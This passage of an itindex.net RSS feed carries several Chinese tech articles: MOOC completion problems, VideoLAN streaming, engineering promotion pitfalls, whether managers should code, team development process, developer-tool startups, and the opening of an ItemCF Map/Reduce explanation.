 &lt;h4&gt;大型开放式网络课程，即MOOC(massive open online courses)。2012年，美国的顶尖大学陆续设立网络学习平台，在网上提供免费课程，Coursera、Udacity、edX三大课程提供商的兴起，给更多学生提供了系统学习的可能。2013年2月，新加坡国立大学与美国公司Coursera合作，加入大型开放式网络课程平台。新国大是第一所与Coursera达成合作协议的新加坡大学，它2014年率先通过该公司平台推出量子物理学和古典音乐创作的课程。&lt;/h4&gt;
 &lt;p&gt;三年前的这周，Sebastian Thrun 录制了他关于人工智能的斯坦福课程视频，受众达到了令人震惊的 18 万，由此开创了一个“  &lt;a href="http://www.universityworldnews.com/article.php?story=20120920124146236" rel="external" target="_blank"&gt;   &lt;strong&gt;高等教育的革命&lt;/strong&gt;&lt;/a&gt;”。之后很快，  &lt;a href="https://www.coursera.org/" rel="external" target="_blank"&gt;Coursera&lt;/a&gt;，  &lt;a href="https://www.udacity.com/" rel="external" target="_blank"&gt;Udacity&lt;/a&gt;(  &lt;a href="http://zh.wikipedia.org/zh/Udacity" rel="external" target="_blank"&gt;Sebastian Thrun 也参与注册创立&lt;/a&gt;)等组织出现，并承诺将通过网络向大众人群提供高等学府的精品课程。这些组织希望通过这样的网络授课方式改善在经济不够发达，学生需要负债上学的地区改善教育现状。自此，有超过 800 万人参与了他们的课程。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://jandan.net/2014/09/17/mooc-a-failure.html"&gt;   &lt;img alt="MOOC &amp;#21363;&amp;#23558;&amp;#36814;&amp;#26469;&amp;#22833;&amp;#36133;&amp;#65311;" src="http://tankr.net/s/medium/2MBU.jpg"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;br /&gt;
  &lt;em&gt;Coursera 网站首页&lt;/em&gt;&lt;/p&gt;
 &lt;p&gt;但今年，看来这个“学习的革命”即将迎来失败。  &lt;strong&gt;在注册过公开课的人中，只有一半的人看过一个演讲视频，而只有 4% 的人坚持看完了一个课程&lt;/strong&gt;(  &lt;a href="http://www.gse.upenn.edu/pressroom/press-releases/2013/12/penn-gse-study-shows-moocs-have-relatively-few-active-users-only-few-persisti" rel="external" target="_blank"&gt;数据来源&lt;/a&gt;)。MOOC 的受众一般都是受过大学教育的人，所以要通过网络公开课体系来打乱现状，实际上不太现实。MOOC 的内容提供者争论说，  &lt;a href="http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2381263" rel="external" target="_blank"&gt;以免费课程的完成程度来衡量 MOOC 是否成功是错误的&lt;/a&gt;，但一项由美国圣何塞州立大学所做的控制实验结果表明，付费参与网络公开课的学生认为  &lt;strong&gt;   &lt;a href="http://www.sjsu.edu/chemistry/People/Faculty/Collins_Research_Page/AOLE%20Report%20-September%2010%202013%20final.pdf" rel="external" target="_blank"&gt;还是传统授课更有效率&lt;/a&gt;&lt;/strong&gt;。&lt;/p&gt;
 &lt;p&gt;其实这样的结果不应该让人意外。很早以前网络课程就解决了人们  &lt;strong&gt;教育渠道&lt;/strong&gt;的问题：800 万人注册参与 MOOC 课程，  &lt;a href="https://www.apple.com/pr/library/2013/02/28iTunes-U-Content-Tops-One-Billion-Downloads.html" rel="external" target="_blank"&gt;Apple iTunesU&lt;/a&gt; 上的相关下载超过 10 亿次。已知的一点是，人们确实想通过网络学习课程；但我们所不知的是  &lt;strong&gt;网络公开课是否能够和坐在教室里学习一样有效，甚至更高效&lt;/strong&gt;。是时候面对一大难题了：专注。&lt;/p&gt;
 &lt;p&gt;我(作者)被恶人作为一个网络课程的参与者表示，很难在这上面保持专注。工作一天后下班回到家，想要学习新技能的崇高目标往往会被电视遥控器挤到一边去。每一个在线课程都需要通过的一项测试是：  &lt;strong&gt;它不仅对你有益，学习它的过程也是一种享受&lt;/strong&gt;。创业公司，大企业和高等学府将注意力放在了网络学习带给人的期许上：将潜在的学习行为向合理的价格引导。下面三件事能够帮助内容提供者达到自己的教育目标：导师制，推广维护和新的“实践中学习”交流论坛。&lt;/p&gt;
 &lt;p&gt;在很早很早以前，一对一的导师制度就被证明比一对多的高效得多。学生拥有老师的全部注意力，在学习过程中的任何时刻都能专注于正确的问题，并且这是老师真正对学生“负责人”的一种师生关系。在   &lt;a href="http://www.thinkful.com/" rel="external" target="_blank"&gt;Thinkful&lt;/a&gt;，我们就观察到，在学员上课前会出现一个学习的峰值。因为有导师制，所以学员希望掌握更多知识，这种动力会转化为更加有效的学习。现在我们希望社会也能给学员这种类似导师的压力，让他们在平日也能高效学习。这就好比你知道多吃蔬菜好，但没有人在你身边念叨你还是不愿意多吃一样。&lt;/p&gt;
 &lt;p&gt;第二点，推广维护。注册过后的学员需要来自网络课程供应者的电子邮件，电话以及推送通知来提醒他们不要忘记自己是这里的一员，不要忘记自己修过的课程。&lt;/p&gt;
 &lt;p&gt;比方说某 Dorpbox 用户查看了关于使用 Dropbox 进行团队协作的网页，Dropbox 就会发送邮件告知他，“感谢您查阅 Dropbox 企业版！关于企业版，您可能还想知道......”——在对的时间，在对的用户面前呈现对的产品，网络课程提供者可以让学员逐渐养成良好的学习习惯。&lt;/p&gt;
 &lt;p&gt;第三点，目前我们还不能向电脑和手机面前的学员提供浸入式的学习体验，所以无法实现“实践学习”。在上世纪 60 年代，美国心理学家 Jerome Bruner 扩展了一个叫“  &lt;a href="http://zh.wikipedia.org/wiki/%E5%BB%BA%E6%A7%8B%E4%B8%BB%E7%BE%A9_%28%E5%AD%B8%E7%BF%92%E7%90%86%E8%AB%96%29" rel="external" target="_blank"&gt;建构主义&lt;/a&gt;”的教育理论，认为学生应该在导师的指导下通过自主提问主动掌握复杂的概念。试验，示错以及犯错后正确的引导被证明可以提高学生学习的能动性。&lt;/p&gt;
 &lt;p&gt;有人提出可以用   &lt;a href="http://bits.blogs.nytimes.com/2013/09/15/minecraft-an-obsession-and-an-educational-tool/?_php=true&amp;_type=blogs&amp;_r=0" rel="external" target="_blank"&gt;Minecraft&lt;/a&gt; 或者   &lt;a href="http://www.oculusvr.com/" rel="external" target="_blank"&gt;Oculus&lt;/a&gt; 作为传播知识的媒介以创造这种浸入式学习体验，提高学生注意力。目前还不确定构建主义的教学方式是否能通过这两种媒介收到同样的效果，但这个想法是令人振奋的。&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;[   &lt;a href="http://jandan.net/2014/09/17/mooc-a-failure.html" rel="external" target="_blank"&gt;keep_beating&lt;/a&gt; via    &lt;a href="http://techcrunch.com/2014/09/11/the-mooc-revolution-that-wasnt/" rel="external" target="_blank"&gt;TechCrunch&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>SHARE Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/51100-mooc</guid>
      <pubDate>Wed, 17 Sep 2014 14:25:03 CST</pubDate>
    </item>
    <item>
      <title>VideoLAN 實現網絡電視台</title>
      <link>https://itindex.net/detail/48523-videolan</link>
      <description>&lt;p&gt;  &lt;a href="http://sammy.hk/wp-content/uploads/2014/03/vlc-2.0-gnome3-open.jpg" title="VideoLAN &amp;#23526;&amp;#29694;&amp;#32178;&amp;#32097;&amp;#38651;&amp;#35222;&amp;#21488;"&gt;   &lt;img alt="vlc-2.0-gnome3-open" height="719" src="http://sammy.hk/wp-content/uploads/2014/03/vlc-2.0-gnome3-open.jpg" width="940"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;昨日王維基宣佈香港電視再次因為「一籃子因素」未能啟播，可能要走網絡電視台路線來實現開播。VideoLAN 除了是一個跨平台開源軟件影片播放器外，同時提供  &lt;a href="http://www.videolan.org/streaming-features.html"&gt;媒體串流功能&lt;/a&gt;，把影像和聲音即時透過網絡傳出，讓任何支援同一串流標準的影片播放器接收。網台又好，網絡電視台又好，VideoLAN 是建立網台其中一個選擇。&lt;/p&gt;
 &lt;p&gt;VideoLAN 基金會兩位主要開發者，三月底從芬蘭和法國來到香港，在3月29日  &lt;a href="http://opensource.hk/2014"&gt;香港開源年會&lt;/a&gt;上作專題演講，介紹 VideoLAN 下一個版本，以及 VideoLAN 本身。有興趣想知 VideoLAN，或是見見開發者作支持，也歡迎你  &lt;a href="http://hkosc2014.eventbrite.com/"&gt;預早報名&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;The post   &lt;a href="http://sammy.hk/videolan-internet-video-streaming/" rel="nofollow"&gt;VideoLAN 實現網絡電視台&lt;/a&gt; appeared first on   &lt;a href="http://sammy.hk" rel="nofollow"&gt;Rocking in Daily Life&lt;/a&gt;.&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech 科技</category>
      <guid isPermaLink="true">https://itindex.net/detail/48523-videolan</guid>
      <pubDate>Wed, 12 Mar 2014 02:54:54 CST</pubDate>
    </item>
    <item>
      <title>技术晋升的误区</title>
      <link>https://itindex.net/detail/46935-%E6%8A%80%E6%9C%AF</link>
      <description>&lt;p&gt;  &lt;a href="http://timyang.net/blog/wp-content/uploads/2013/11/programmer-skill.png"&gt;   &lt;img alt="" height="270" src="http://timyang.net/blog/wp-content/uploads/2013/11/programmer-skill.png" title="programmer skill" width="216"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;br /&gt;
每到年底，业内不少工程师又需面对晋升答辩的流程，如何让自己在最短的时间完成职级提升是大家关注的话题。在一个规范运作的公司里，基础的晋升通常由部门的经理或者技术负责人定夺，更高级别的评估通常由一个跨部门或公司范围的技术专业委员会（Technical Committee简称TC）来负责。本人有幸参与了几年TC的工作，很高兴看到不少人员的快速成长，但同时看到的一些成长认识误区如下。大家可以通过这些误区的了解，来合理的规划自己的职业生涯，获得更好的职业成长。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;罗列工作、项目或者KPI。技术委员会评估一个人的能力时，通常希望寻找论据来支持候选人符合更高级别的Level。但是支持点并不是凭工作量或者项目数的多少来决定。项目按时完成情况是一个辅助因素，但不是全部。因此在所罗列的项目中，寻找那些项目包含了能支撑你胜任高Level去介绍。&lt;/li&gt;
  &lt;li&gt;没有重点及个人贡献。有些候选人介绍了几个形态各异的项目，但需要评委去仔细挖掘到底体现了候选人哪方面能力；另外一方面有些员工虽然参与了重点及有挑战的项目，但如果其中的个人贡献不好辨别则很难加分。评委可能想“嫦娥三号项目很伟大，可是这个家伙究竟是参与开发了玉兔号月球车，还是仅仅坐在监控大厅看显示器……”。仅强调项目成果评委无法判断候选人的能力，突出重点项目及个人的独特贡献，是材料展示的关键。&lt;/li&gt;
  &lt;li&gt;承担过的项目与申请的Level不匹配。有些候选人参与过不少项目，对公司也有贡献。但是TC对不同的Level期望候选人展示的能力及规划能力是不同的，越是高阶Level申请，越是看在领域内的规划能力、影响力与愿景，如果目标仅停留在项目完成与否上，不管在哪个级别都会有所欠缺。&lt;/li&gt;
  &lt;li&gt;可度量及可比性不强。技术行业中，分工越来越细，因此候选人从事一个大家不了解也没参与过的领域的情况越来越多。因此如何将这块的工作的好坏达到一个行业内的可比性也是很重要，帮助TC来理解你的工作。&lt;/li&gt;
  &lt;li&gt;大篇幅罗列非专业领域的能力，比如项目管理、团队管理、跨团队协调成绩、培养新人成果、项目交付状况、创新成绩等。并不是说这些材料不好或不能讲，但是如果60%以上篇幅都是讲这些，TC无法判断你在专业上是否达到了申请的Level。通常TC对专业角度的考察会占到60%以上的权重。直接说出你打了哪几次胜仗，每场由于环境的变化你灵活使用了哪些兵法来克服困难，在某些特别的条件下，你灵活使用了一些没用过的兵法取得了良好效果。如果你发现过去缺少独立打仗的机会，请看下一条。&lt;/li&gt;
  &lt;li&gt;岗位成长性差。这一点无关答辩技巧，更多是路线规划与上级主管的培养问题。由于注重结果导向，大部分主管更多精力会放在项目的交付及进度，对下属的安排主要是工作的分配及是否按时完成的监督，而对员工的技术成长、路线规划等则会偏少。碰到这种情况，更多的跟上级在专业发展方面进行交流。确定你的技术成长路线并寻求上级的资源支持，大部分上级也会很乐意提供资源的配合。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;（PS：曾打算写一篇晋升攻略，但考虑到每个人的目标及成长路线的多元化，很难给出公式化的建议，因此仅罗列一些误区供读者思考。）&lt;/p&gt;
Similar Posts: &lt;ul&gt;  &lt;li&gt;   &lt;a href="http://timyang.net/tech/interview/" rel="bookmark" title="November 12, 2013"&gt;当我谈招聘时我谈什么&lt;/a&gt;&lt;/li&gt;

  &lt;li&gt;   &lt;a href="http://timyang.net/google/open-source/" rel="bookmark" title="April 7, 2010"&gt;为什么优秀开发者进入Google后就不参与开源了&lt;/a&gt;&lt;/li&gt;

  &lt;li&gt;   &lt;a href="http://timyang.net/management/engineer-performance/" rel="bookmark" title="February 23, 2012"&gt;技术工程师的能力与目标&lt;/a&gt;&lt;/li&gt;

  &lt;li&gt;   &lt;a href="http://timyang.net/google/hybrid-research/" rel="bookmark" title="September 20, 2012"&gt;有感Google的混合研究方法&lt;/a&gt;&lt;/li&gt;

  &lt;li&gt;   &lt;a href="http://timyang.net/management/probation/" rel="bookmark" title="September 19, 2012"&gt;谈技术人员“转正”&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/46935-%E6%8A%80%E6%9C%AF</guid>
      <pubDate>Mon, 09 Dec 2013 09:38:56 CST</pubDate>
    </item>
    <item>
      <title>技术经理该不该写代码？</title>
      <link>https://itindex.net/detail/47598-%E6%8A%80%E6%9C%AF-%E7%BB%8F%E7%90%86-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;今天微博上很多人在转MongoDB的Eliot Horowitz的  &lt;a href="http://www.drdobbs.com/architecture-and-design/engineering-managers-should-code-30-of-t/240165174" target="_blank"&gt;Engineering Managers Should Code 30% of Their Time&lt;/a&gt;，我也来说说我的观点。&lt;/p&gt;
 &lt;p&gt;首先不是所有的Senior Tech Member的角色都是Manager，比如Jeff Dean在Google的角色是  &lt;a href="http://www.quora.com/Google/What-are-the-different-levels-of-software-engineers-at-Google-and-how-does-the-promotion-system-work" target="_blank"&gt;Senior Google Fellow&lt;/a&gt;（他们终于为Jeff Dean升职而专门发明了“Senior” Google Fellow这个职位！）。Tech Fellow或者Architect的角色和贡献是和Manager完全不同的，Manager需要更多承担放大团队产出的工作。不知道Eliot Horowitz目前实际扮演的是什么角色，但是从文章内容来看，的确他说的更多的是Manager的角色。&lt;/p&gt;
 &lt;p&gt;同时，一般我们说的Manager都是技术管理两头挑的，而不是专门的People Manager，特别是国内快速发展的互联网公司是没有专门的People Manager的角色的。对于这个技术管理一体的角色，我认为谁听信了Eliot Horowitz对公司和个人都是坏事。我认同  &lt;a href="http://www.xuwenhao.com/2012/08/14/should-engineering-manager-still-cod/" target="_blank"&gt;黄易山的观点&lt;/a&gt;，就是技术经理不应该去写Production Code，或者至少不为Deadline写Production Code，技术经理的贡献更多在团队中。&lt;/p&gt;
 &lt;p&gt;Eliot的主要立论，集中在写Code能够更好地为团队做决策上，文中提到的Estimates，Technical Debt以及Continuity of Understanding基本上都是谈这点。但是如果团队主要的技术决策是必须依靠Manager，那么这个团队的整体能力就很可疑了，很有可能是累死Manager但是产出还很少。这种情况下，Manager能写再多的Code，能做再多正确的决定，也会成为整个团队产出的瓶颈。&lt;/p&gt;
 &lt;p&gt;虽然文中也提到了你不可能做每个决策，他认为你需要为团队负责(Parity with Responsibility)，所以要&amp;quot;facilitate all decisions&amp;quot;，但是除了写Code还有很多种方式做到这一点，包括Design Review，Code Review，以及花一点时间去写一些工具或者启动一些新项目，但是把30%的时间花在写Code上，或者花大量时间写要短期内Release的Production Code，以我个人经验一定会没有投入足够的时间精力和资源解决团队真正需要解决的问题。最大的困扰会来自，当你需要花时间和精力处理好其他问题的时候，你怎么处理分配给自己的任务？如果延期，那么一方面你反而会丧失团队对你的信任，“Manager自己都不能按期Deliver，我稍微晚一点有什么关系”。如果把团队事务扔在一边，那么团队通常会陷入低满意度和低生产率，因为各种需求，信息，干扰你都不再能够帮他们排除了。更可怕的是，在Deadline逼近，而你又处于这种两难问题的情况下，你会陷入焦虑而无法决策的阶段，进一步降低生产力。&lt;/p&gt;
 &lt;p&gt;当然，以上都是从对公司和团队产出来说的。多花时间写Code对于Manager个人不一定有坏处。因为技术的市场价值通常在你换工作的时候容易衡量，也容易得到认可，而能够真正赏识到好的Manager的公司并不多。但是，一直处在Manager的角色，而不是一头扎进去写Code有时候，在技术成长上也是有好处的。因为你会站在一个完全不同的外部角度去思考这个问题，这个会帮助更好地去做设计决策。&lt;/p&gt;
 &lt;p&gt;技术经理的确不应该离开技术第一线，我也赞同应该花点时间写Code，但是更多应该是在写工具，而不是花30%的时间写Code。更多地得依靠爱好和业余时间。而一天到晚在写Code通常是新升职的Manager的常犯错误。&lt;/p&gt;
 &lt;p&gt;最后，非常重要的一点是，Eliot的公司，有且只有一款产品，就是MongoDB，而且这是一个技术产品，而不是面向消费者，或者面向非技术企业的商业产品。也意味着内部从产品，运营的沟通和需求都更技术化，包括产品用户本身也是技术人员，在不同角色下进行转化的成本很低。这个某种程度上是Eliot作为一个Co-Founder仍然能花很多时间去关心到代码级别问题的前提，而大部分公司的产品形式和他们是完全不同的。即使是这样，Eliot自己在文中也承认了自己写Code的时间也没有30%。&lt;/p&gt;
 &lt;p&gt;我认为这篇文章基本上是热爱技术的Eliot对自己生活的美好期望，而不是正确的商业和技术抉择。哪个Manager要是把这个当真了，就真跌到坑里去了。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Idea Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/47598-%E6%8A%80%E6%9C%AF-%E7%BB%8F%E7%90%86-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Wed, 15 Jan 2014 22:46:31 CST</pubDate>
    </item>
    <item>
      <title>开发组开发流程及注意事项</title>
      <link>https://itindex.net/detail/40687-%E5%BC%80%E5%8F%91-%E5%BC%80%E5%8F%91-%E6%B3%A8%E6%84%8F</link>
      <description>&lt;p&gt;这是我的方法论，在所谓敏捷之前，先教会团队如何走路，如果按照一个正常的软件开发流程来做事。&lt;/p&gt;
 &lt;p&gt;=======================&lt;/p&gt;
 &lt;p&gt;1，开发过程中注意要遵守以下流程，  &lt;strong&gt;没有任何例外&lt;/strong&gt;。负责feature的开发人员应该从接手任务第一天开始，每天更新project status report。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;开始阶段：风险评估，技术难点研究，通过邮件或者会议，确定需求分析；   &lt;br /&gt;
设计阶段：研究设计文档，小组设计评审，具体任务分派，截止时间确认；   &lt;br /&gt;
编码阶段有：Daily Project status report, 每日代码审查；   &lt;br /&gt;
收尾阶段应该有：Group code review；需求文档校验；测试计划及结果；项目总结。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;2，如果任务比较复杂，问题比较棘手，自己研究了半天时间没有很好的解决方案。请马上联系我或者咨询组里其他同事；如果组内同事也解决不了，再求助Onshore team。先发邮件说明问题，紧急任务马上搭建会议保证及时沟通。&lt;/p&gt;
 &lt;p&gt;3，项目流程方面，如果需要有例外情况，比如不写什么文档，不做测试不评审，请事先通知我或者项目负责人。&lt;/p&gt;
 &lt;p&gt;4，在开始阶段对最后整体实现效果有大致理解，可以预估技术难点所在，并且实现进行研究和求助。对于项目可能有的需求变化有一定的预估和计划。在项目开始阶段或者空闲阶段应该研究技术难点。&lt;/p&gt;
 &lt;p&gt;5，允许犯错，但是要确保同样错误不要再次出现，从问题中吸取经验教训。&lt;/p&gt;
 &lt;p&gt;6，每天的工作都应该有结果产出，代码或者是文档。学习应该有文档总结，项目应该有流程设计文档/代码/测试文档，项目进度有每日进度报告。每行代码在checkin之后的当天时间， 都应该有两个人review通过。&lt;/p&gt;
 &lt;p&gt;7，代码review原则：不要在下午三点半以后还checkin代码（可以留到第二天上午），如果有例外，应该通知reviewer留出审查时间。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;代码应该直观易懂，不要额外解释，不用过多注释说明。代码格式应该符合English正常语法格式，或者遵照以前onshore同事代码样式。每行代码必须能解释清楚，根据哪个需求来的。对于Peer review和Group review中发现的问题，必须逐条回复（改或不修改），确保没有遗漏，Group review需要填写正式review结果文档。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;8，在你写代码之前，确保自己已经：a）了解所使用技术的大致用法。b）读过这项技术的大体教程或者代码实例，可以用最简单的能体现设计意图的代码完成大部分功能点。c）以前没有遇到的新项目的设计方案，确保设计方案与我沟通过，由我负责技术决策。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;请避免以下情况发生&lt;/strong&gt;  &lt;br /&gt;
1) 将就完成，马马虎虎，不求甚解。– 在写代码之前问问自己，真的清楚知道在为什么需求编写什么模块的代码么？  &lt;br /&gt;
2) 需求不清楚，也不与onshore沟通澄清，在任务不清楚的时候就开始动手编码。  &lt;br /&gt;
3) 没有设计讨论，自己觉得没有问题，直接开发。有问题，不做优先级和风险评估，先开发了再说。  &lt;br /&gt;
4) 代码不是每天checkin，累积三五天；需要checkin的时候，一次加入大量代码修改。或者checkin以后不作代码评审。不注释，命名不规范，不关注静态分析或者调试中出现的异常log信息。  &lt;br /&gt;
5) 代码写完了，就认为是项目完成了，没有设计评估没有文档没有测试。  &lt;br /&gt;
6) 只有最后阶段才说明有问题，在开始时不考虑如何技术实现或者觉得不会有问题，不做风险评估。  &lt;br /&gt;
7) “我觉得没问题，但是也没有检查代码和需求。”“代码为什么好用？不知道；出问题的root cause？不知道”“这段代码干什么用？别人就这么写，我不知道，没研究过”“这个技术上肯定实现不了，没法做”&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/40687-%E5%BC%80%E5%8F%91-%E5%BC%80%E5%8F%91-%E6%B3%A8%E6%84%8F</guid>
      <pubDate>Mon, 19 Nov 2012 13:02:31 CST</pubDate>
    </item>
    <item>
      <title>开发者服务开发者：介绍最前沿的几款移动开发工具</title>
      <link>https://itindex.net/detail/40494-%E5%BC%80%E5%8F%91-%E6%9C%8D%E5%8A%A1-%E5%BC%80%E5%8F%91</link>
      <description>&lt;p&gt; &lt;/p&gt;
 &lt;p&gt;SF New Tech（旧金山新科技）是一个在旧金山SOMA一带特别受欢迎的Demo系列活动，举办地点就在SOMA一间仓库式的酒吧里。SOMA是旧金山市场街以南的一片高科技创业园区，以新兴的科技创业企业为主，最著名的有Zynga和Twitter，以及Adobe的一个销售办公室。&lt;/p&gt;
 &lt;p&gt;昨天在这里的Demo演示中，我见到了三家有意思的创业公司，它们都是属于PingWest非常热衷推广的“开发者帮助开发者”类型的项目，而且都拿到了不菲的投资。比起面向消费者的项目，似乎这些B2B的应用程序离“钱”更近一些。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;Crittercism：你的应用崩溃分析器！&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;作为开发者，你一定不喜欢听到用户向你抱怨应用的崩溃问题。  &lt;a href="http://www.crittercism.com/index.html" target="_blank"&gt;Crittercism&lt;/a&gt;就是一款适用于你的iOS，Android，Windows以及HTML5应用的崩溃分析器。它可以清楚地告诉你应用的崩溃的环境，比如说不同的OS版本，不同的设备的分析对比图（这一点特别适用于Android种类众多的硬件设备的分析上）。它也可以同时检测到用户在崩溃时的使用行为，包括崩溃前一步用户在进行什么操作，甚至包括用户是如何手握设备的。这样的做法是方便开发者更好地debug，去解决所面临的应用崩溃的问题。  &lt;br /&gt;
  &lt;a href="http://www.pingwest.com/sf-new-tech-demo/screen-shot-2012-11-07-at-11-26-55-pm/" rel="attachment wp-att-1988"&gt;   &lt;img alt="" height="421" src="http://www.pingwest.com/wp-content/uploads/2012/11/Screen-Shot-2012-11-07-at-11.26.55-PM-660x421.png" width="660"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;br /&gt;
同时，Crittercism还可以有自动警告功能，一旦出现了一个应用崩溃的峰值，它会自动向开发者提出报警，以及要注意的问题。&lt;/p&gt;
 &lt;p&gt;Crittercism的联合创始人兼CTO Robert Kwok还告诉PingWest记者，一般来说，每次系统升级都会出现一个应用崩溃的高潮，之后会趋于稳定。而在各个移动系统的对比之中，他则表示，Android有更多的设备，所以容易在有些设备中出现较多的崩溃的现象。&lt;/p&gt;
 &lt;p&gt;Crittercism获得了来自Google Ventures领投的550万美元融资。目前，包括LinkedIn在内的数家大公司都已经是他们的用户了。Robert Kwok对我们说，中国的开发者也可以使用他们的服务，有免费的基础版，以及$24每月的升级版。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.pingwest.com/sf-new-tech-demo/wp_ss_20121108_0001/" rel="attachment wp-att-1997"&gt;   &lt;img alt="" height="400" src="http://www.pingwest.com/wp-content/uploads/2012/11/wp_ss_20121108_0001-450x800.jpeg" width="225"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;TapCanvas:不会编程，也可以做一个“不简单”的HTML5应用&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;TapCanvas是一款还处在不完全公开BETA状态下的一款简单应用编程软件。它允许你在完全没有任何编程背景的情况下，制作一个带有地图、联系人、图片上传和分享等功能的基于HTML5的网页应用。目前这款工具最适合的用途是在建立活动、会议相关的简单应用。TapCanvas创始人Joshua Merrill在现场花了一分半钟的时间就完成了一个当晚活动的小应用，你可以在应用上看到活动时间，在地图上显示地点及交通咨询，活动举办人的联络方式，你也可以在该活动中上传照片等。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://t.apcanv.as/a/509b2b8cffdb47af01000018" target="_blank"&gt;点击这里&lt;/a&gt;，可以试试看活动现场制作的Demo！TapCanvas 获得了来自500 Startups和K9 Ventures等一系列天使投资机构的20万美元融资。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;HelpShift：开发者和用户的实时互动 &lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;   &lt;img alt="" height="199" src="http://www.pingwest.com/wp-content/uploads/2012/11/medium_Screen_Shot_2012-08-14_at_3.12.00_PM.png" title="medium_Screen_Shot_2012-08-14_at_3.12.00_PM" width="350"&gt;&lt;/img&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;使用Helpshift的企业用户将能够通过一个类似于内容管理系统（CMS）的平台管理客户支持部门。通过这些数据，企业将能够发现那些最常被问及的问题，并更好地帮助训练客服代理人，甚至将这些问题与相应的答案添加至常见问题（FAQ）列表中  &lt;strong&gt;。&lt;/strong&gt;哪些答案获得了更多支持度，哪些答案客户读得最多，哪些被投诉的次数最多等指标都能够显示出来。&lt;/p&gt;
 &lt;p&gt;Helpshift提供了一个本地化软件开发工具包，以便开发者能够集成。用户能够使用Helpshift与客服代表实时交流。也就是说，它是一个专门针对移动应用程序的客户关系管理系统。目前Helpshift获得了来自True Ventures的380万美元投资。该应用仅在邀请Beta的阶段，如果你有兴趣的话，邀请码是: SFNT。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Demo SF NEW TECH 应用崩溃 开发者 硅谷科技</category>
      <guid isPermaLink="true">https://itindex.net/detail/40494-%E5%BC%80%E5%8F%91-%E6%9C%8D%E5%8A%A1-%E5%BC%80%E5%8F%91</guid>
      <pubDate>Fri, 09 Nov 2012 09:06:31 CST</pubDate>
    </item>
    <item>
      <title>基于的Map/Reduce的ItemCF</title>
      <link>https://itindex.net/detail/40408-map-reduce-itemcf</link>
      <description>&lt;p&gt;ItemCF为基于邻域的方法使用用户共同行为来对Item之间的相似度进行计算，从而利用k－近邻算法使用用户曾经有个行为的Item进行推荐。好处是系统只需要存储Item x Item的相似度矩阵，对于Item数量远小于用户数量的应用来说，具有很高的性价比。&lt;/p&gt;
 &lt;h2&gt;为什么要并行&lt;/h2&gt;
 &lt;p&gt;ItemCF最核心的计算为item之间相似度矩阵的计算，同时还需要能够在短时间内响应Item变化情况（用户有行为之后就会造成相似度矩阵的重新计算，实际中不会全部重新计算而会使用增量计算的方式。）。&lt;/p&gt;
 &lt;p&gt;可以想象ItemCF的输入为Item x  User的行为矩阵（非常稀疏的矩阵，了解到稀疏度能够到1%就已经很不错了），如果每一行表示一个Item的话， 每个Item可以理解为用户行为表示的n维向量（u1, u2, ….  un），然后需要对每个Item对进行向量距离计算就可以得到Item到Item的一个距离分布，也就组成了Item x Item的相似度矩阵。&lt;/p&gt;
